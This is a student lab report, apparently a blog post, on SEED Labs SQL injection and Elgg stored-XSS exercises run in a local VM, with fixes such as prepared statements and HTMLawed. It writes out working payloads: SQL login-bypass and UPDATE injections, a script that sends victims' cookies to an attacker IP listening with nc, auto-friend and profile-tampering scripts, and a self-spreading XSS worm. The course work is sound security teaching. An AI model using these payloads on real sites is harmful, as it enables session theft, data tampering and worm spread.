20252901 2025-2026-2 《网络攻防实践》实践十报告

20252901 程宇 2025-2026-2 《网络攻防实践》实践十报告

一、实践内容概述

实验目标

  • 掌握 SQL 注入攻击的基本原理,熟练实现针对 SELECT 和 UPDATE 语句的注入攻击,理解参数化查询的防御机制。
  • 掌握存储型 XSS 跨站脚本攻击的原理与利用方式,实现弹窗警告、Cookie 窃取、自动操作、信息篡改及蠕虫传播。
  • 理解 Web 应用常见漏洞的危害,掌握对应的防御技术,建立攻防结合的安全思维。

实验原理

SQL 注入攻击原理

Web 应用程序未对用户输入进行严格验证和过滤,直接将输入内容拼接到 SQL 语句中执行,导致攻击者可以构造恶意输入改变 SQL 语句的逻辑,实现绕过身份验证、非法查询 / 篡改数据等操作。

  • SELECT 语句注入:常用于登录绕过、数据拖库,通过构造永真条件或注释符截断后续语句。
  • UPDATE 语句注入:常用于篡改数据库数据,通过闭合字符串并添加额外的 SET 子句实现。
  • 防御原理:使用参数化查询(Prepared Statement),将用户输入作为参数而非 SQL 语句的一部分,从根本上分离数据与命令。

XSS 跨站脚本攻击原理

攻击者将恶意 JavaScript 代码注入到 Web 页面中,当其他用户浏览该页面时,恶意代码会在用户浏览器中执行,从而窃取用户信息、冒充用户操作、篡改页面内容或传播蠕虫。本次实验针对存储型 XSS(恶意代码存储在服务器数据库中)进行演示。

  • 核心危害:Cookie 窃取、会话劫持、权限提升、蠕虫传播。
  • 防御原理:对用户输入进行严格过滤和转义、启用 HTMLawed 安全过滤插件、设置 Cookie 的 HttpOnly 属性、部署内容安全策略(CSP)。

二、实践步骤与过程

前置准备

1. 虚拟机部署

下载 SEEDUbuntu 16.04 32 位镜像(链接: https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip

创建新的虚拟机流程:

点击"创建新的虚拟机" --> "自定义" --> Workstation17.x --> "稍后安装操作系统" --> "Linux" --> "Ubuntu" --> "网络地址转换" --> "LSI Logic" --> "SCSI" --> 现有虚拟磁盘中的"SEEDUbuntu-16.04-32bit.vmdk" --> 将现有磁盘转换为更新格式?保持现有格式。

image

2. VMware Tools 安装(重要!如果不安装,后续实现会出现缩放问题和无法通过虚拟机编辑 -> 粘贴的方式粘贴大段代码)

虚拟机勾选安装 VMware Tools 之后,在 Ubuntu 的文件管理菜单找到压缩包并复制到 home 目录下,打开终端进入 home 目录下,输入命令:

tar -zxvf 压缩文件名

解压后输入命令:

cd vmware-tools-distrib

执行安装:

sudo ./vmware-install.pl

输入密码安装,遇到【Y/N】输入 y,遇到别的按回车。安装成功后会显示"Found VMware Tools CDROM mounted at…"的字样,屏幕会变全屏。

3. 主机名配置(新增)

将虚拟机主机名永久设置为 cy,确保终端和系统标识统一:

# 切换到root用户(密码:seedubuntu)
su -
# 临时生效主机名
hostname cy
# 验证主机名(终端提示符应显示为 seed@cy:~$)
hostname

image

# 永久修改主机名配置文件
echo "cy" > /etc/hostname
# 修改hosts文件添加本地映射,解决sudo无法解析主机问题
sed -i 's/127.0.0.1 localhost/127.0.0.1 localhost cy/' /etc/hosts
# 退出root并重新打开终端验证
exit

4. 基础服务启动

# 启动Apache2 Web服务器
sudo service apache2 start
# 查看服务状态,确认显示 active (running)
sudo service apache2 status

image

5. 数据库连接

使用 root 用户登录 MySQL 数据库(默认密码 seedubuntu):

mysql -u root -pseedubuntu

image

6. 靶场文件预处理

将所有需要编辑的后端文件添加 2901_ 前缀,保留原文件作为备份。注意:由于提高实验成功率,本次只在第一个实验进行此操作,之后的实验会将文件复原。建议读者忽略这个步骤。

# 进入SQL注入靶场目录
cd /var/www/SQLInjection/
# 备份原始文件
cp unsafe_home.php unsafe_home.php.bak
cp unsafe_edit_backend.php unsafe_edit_backend.php.bak
# 重命名后端文件
mv unsafe_home.php 2901_unsafe_home.php
mv unsafe_edit_backend.php 2901_unsafe_edit_backend.php
# 修改前端表单指向新的后端文件
sed -i 's/action="unsafe_home.php"/action="2901_unsafe_home.php"/g' index.html
sed -i 's/action="unsafe_edit_backend.php"/action="2901_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php

image

7. 靶场地址

8. Elgg 默认账号

用户名 密码 权限
Alice seedalice 普通用户
Boby seedboby 普通用户
Samy seedsamy 普通用户
Admin seedelgg 管理员

任务一:SEED SQL 注入攻击与防御实验

步骤1:熟悉 SQL 语句

使用以下命令使用 root 登录 MySQL 数据库:

mysql -u root -pseedubuntu

image

使用以下命令查看 MySQL 中已有的数据库:

show databases;

使用以下命令切换到 Users 数据库,并查看所有的数据表:

use Users;
show tables;

image

结果:存在 Tables_in_Userscredential 表。

执行基础查询语句:

-- 查询所有记录
select * from credential;

image

credential 表存储了员工的 ID、姓名、EID、薪资、生日、SSN、密码等信息。

-- 查询Alice的个人信息
select * from credential where Name='Alice';

image

-- 查询ID小于等于3的员工信息
select * from credential where ID <=3;

image

步骤2:对 SELECT 语句的 SQL 注入攻击(登录绕过)

访问 Web 页面 http://www.seedlabsqlinjection.com/ ,右键 -> view page source 查看前端源码。
image
image

表单通过 GET 方法提交到 2901_unsafe_home.php 进行验证。
image

查看并分析后端验证代码(/var/www/SQLInjection/2901_unsafe_home.php):

vim /var/www/SQLInjection/2901_unsafe_home.php

image
image

核心验证逻辑,SQL 语句如下:
image

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";

构造注入 Payload:在用户名输入框输入 Admin'#,密码留空。
image

原理:单引号 ' 闭合 name 字段的字符串,# 注释掉后续的密码验证部分,使 SQL 语句变为:

SELECT * FROM credential WHERE name= 'Admin'#' and Password=''

点击登录,成功进入管理员页面,查看所有员工的薪资、SSN 等敏感信息,登录绕过成功。

image

步骤3:对 UPDATE 语句的 SQL 注入攻击(数据篡改)

以 Alice 身份登录系统(密码 seedalice),点击 "Edit Profile" 进入个人信息修改页面,发现仅能修改昵称、邮箱、地址等非敏感信息。

image

(问题:找不到 edit profile 选项!!!解决办法:浏览器右侧按钮点击,调整显示比例。我的电脑在显示比例为100%的时候无法显示 home 和 edit profile 选项)
image

查看并分析后端更新代码(/var/www/SQLInjection/unsafe_edit_backend.php):

vim /var/www/SQLInjection/unsafe_edit_backend.php

image

核心更新逻辑,SQL 语句如下:

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

构造注入 Payload:在 NickName 输入框输入:

',Salary='999999' where name='Admin';#

原理:闭合 nickname 字段的字符串,添加 Salary='999999' where name='Admin' 子句修改管理员薪资,最后用 # 注释后续内容。

点击保存,返回首页查看,发现管理员 Admin 的薪资已被修改为 999999,数据篡改成功。

image
image

步骤4:SQL 对抗(漏洞修复)

修复 SELECT 语句注入:编辑 unsafe_home.php,使用 preparebind_param 实现参数化查询:

vim /var/www/SQLInjection/unsafe_home.php

image

将原 SQL 语句替换为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

image

修复 UPDATE 语句注入:编辑 unsafe_edit_backend.php,同理使用参数化查询:

vim /var/www/SQLInjection/unsafe_edit_backend.php

将原 SQL 语句替换为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();

image

验证修复效果:再次使用 Admin'# 尝试登录,系统提示登录失败;尝试修改管理员薪资,操作无效,漏洞修复成功。

image


任务二:SEED XSS 跨站脚本攻击实验

步骤1:发布恶意消息,显示警报窗口

使用 Alice 账号(密码 seedalice)登录 Elgg 平台( http://www.xsslabelgg.com ),点击蓝色字体 Alice -> "Edit profile" 进入个人资料编辑页面。

image

image

在 "Brief description" 输入框中输入恶意代码:

<script>alert('XSS cy');</script>

点击保存,页面自动刷新并弹出警告窗口 "XSS cy",验证存储型 XSS 漏洞存在。

image

修改 "Brief description" 中的代码为:

<script>alert('cy Cookie:' + document.cookie);</script>

保存后,页面弹出包含当前用户 Cookie 的警告窗口,证明可以通过 XSS 获取用户会话信息。

image

步骤3:窃取受害者的 Cookies

查看攻击者主机的 IP 地址:

ifconfig

image

假设攻击者 IP 为 192.168.200.11。

构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 500 端口:

<script>document.write('<img src=http://192.168.200.11:500?host=cy&c='+escape(document.cookie) + ' >');</script>

image

在攻击者终端开启端口监听:

sudo nc -l 500 -v

image

使用 Boby(密码 seedboby)账号登录 Elgg,访问 Alice 的个人主页。

查看攻击者终端,成功接收到 Boby 的 Cookie 信息。

image

步骤4:成为受害者的朋友(自动操作)

手动添加 Boby 为好友,同时按 F12 打开浏览器开发者工具,切换到 "Network" 标签,分析加好友请求:

image

image

构造自动加好友的 JavaScript 代码,放入 Alice 的 "About me" 字段(需切换到 "Edit HTML" 模式):

<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 44为Samy的用户ID
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=cy" + ts + token;

Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();}</script>

image

使用 Samy 账号(密码 seedsamy)登录 Elgg,访问 Alice 的个人主页。
image

查看 Samy 的好友列表,发现已自动添加 Alice 为好友,自动操作成功。

image
image

步骤5:修改受害者的信息

分析 Elgg 修改个人资料的 POST 请求,构造自动修改信息的代码:

<script type="text/javascript">window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>已被主机cy的XSS攻击篡改!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

// 排除攻击者自己
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

将代码放入 Alice 的 "About me" 字段,使用 Boby 账号访问 Alice 主页。
image
image

查看 Boby 的个人资料,发现 "About me" 已被修改为"已被主机 cy 的 XSS 攻击篡改!",信息篡改成功。

image

步骤6:编写 XSS 蠕虫(自动传播)

构造具有自我复制能力的 XSS 蠕虫代码,将自身注入到受害者的个人资料中:

<script id="worm" type="text/javascript">window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>主机cy的XSS蠕虫已感染!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

image

将代码放入 Alice 的 "About me" 字段,使用 Boby 账号访问 Alice 主页,Boby 被感染。
image

使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。

image

步骤7:对抗 XSS 攻击

使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。
image

找到 "HTMLawed" 插件(按首字母排序),点击 "Activate" 启用该插件(该插件用于过滤和净化 HTML 输入)。

验证防御效果:再次访问被感染的用户主页,恶意代码以明文形式显示,不再执行;尝试注入新的 XSS 代码,系统自动过滤,攻击失效。

image

补充防御措施:

  • 设置 Cookie 的 HttpOnly 属性,防止 JavaScript 读取 Cookie。
  • 部署内容安全策略(CSP),限制页面可执行脚本的来源。

三、学习中遇到的问题及解决方法

问题描述 解决方法
执行 sudo 命令时提示 "unable to resolve host cy" 已在主机名配置步骤中修改 /etc/hosts 文件,添加 127.0.0.1 localhost cy 映射,问题解决
SQL 语句执行报错 "ERROR 1064 (42000)" 检查 SQL 语句末尾是否添加分号,修正语法错误
Ubuntu 虚拟机无法与主机复制粘贴;页面显示不全导致按钮无法使用 下载与 VMware 版本匹配的 VMware Tools 10.3.26,手动挂载安装

四、实践总结

本次实验通过实际操作深入理解了 SQL 注入和 XSS 这两种最常见的 Web 应用漏洞的原理与危害。从攻击角度看,一个小小的输入验证漏洞就可能导致整个数据库泄露、用户会话被劫持甚至系统被完全控制;从防御角度看,参数化查询和输入过滤是抵御这两种攻击的最有效手段。

实验过程中,我深刻体会到网络安全的攻防对抗特性:攻击者不断寻找新的利用方式,防御者则需要不断完善防护措施。作为未来的网络安全从业者,我们不仅要掌握攻击技术,更要学会从攻击者的角度思考问题,提前发现并修复系统中的漏洞。同时,必须时刻牢记网络安全法律法规和职业道德,所有技术学习都应在合法授权的环境中进行,绝不能将所学知识用于非法用途。


参考资料

posted @ 2026-05-12 18:28  行走的yu  阅读(85)  评论(0)    收藏  举报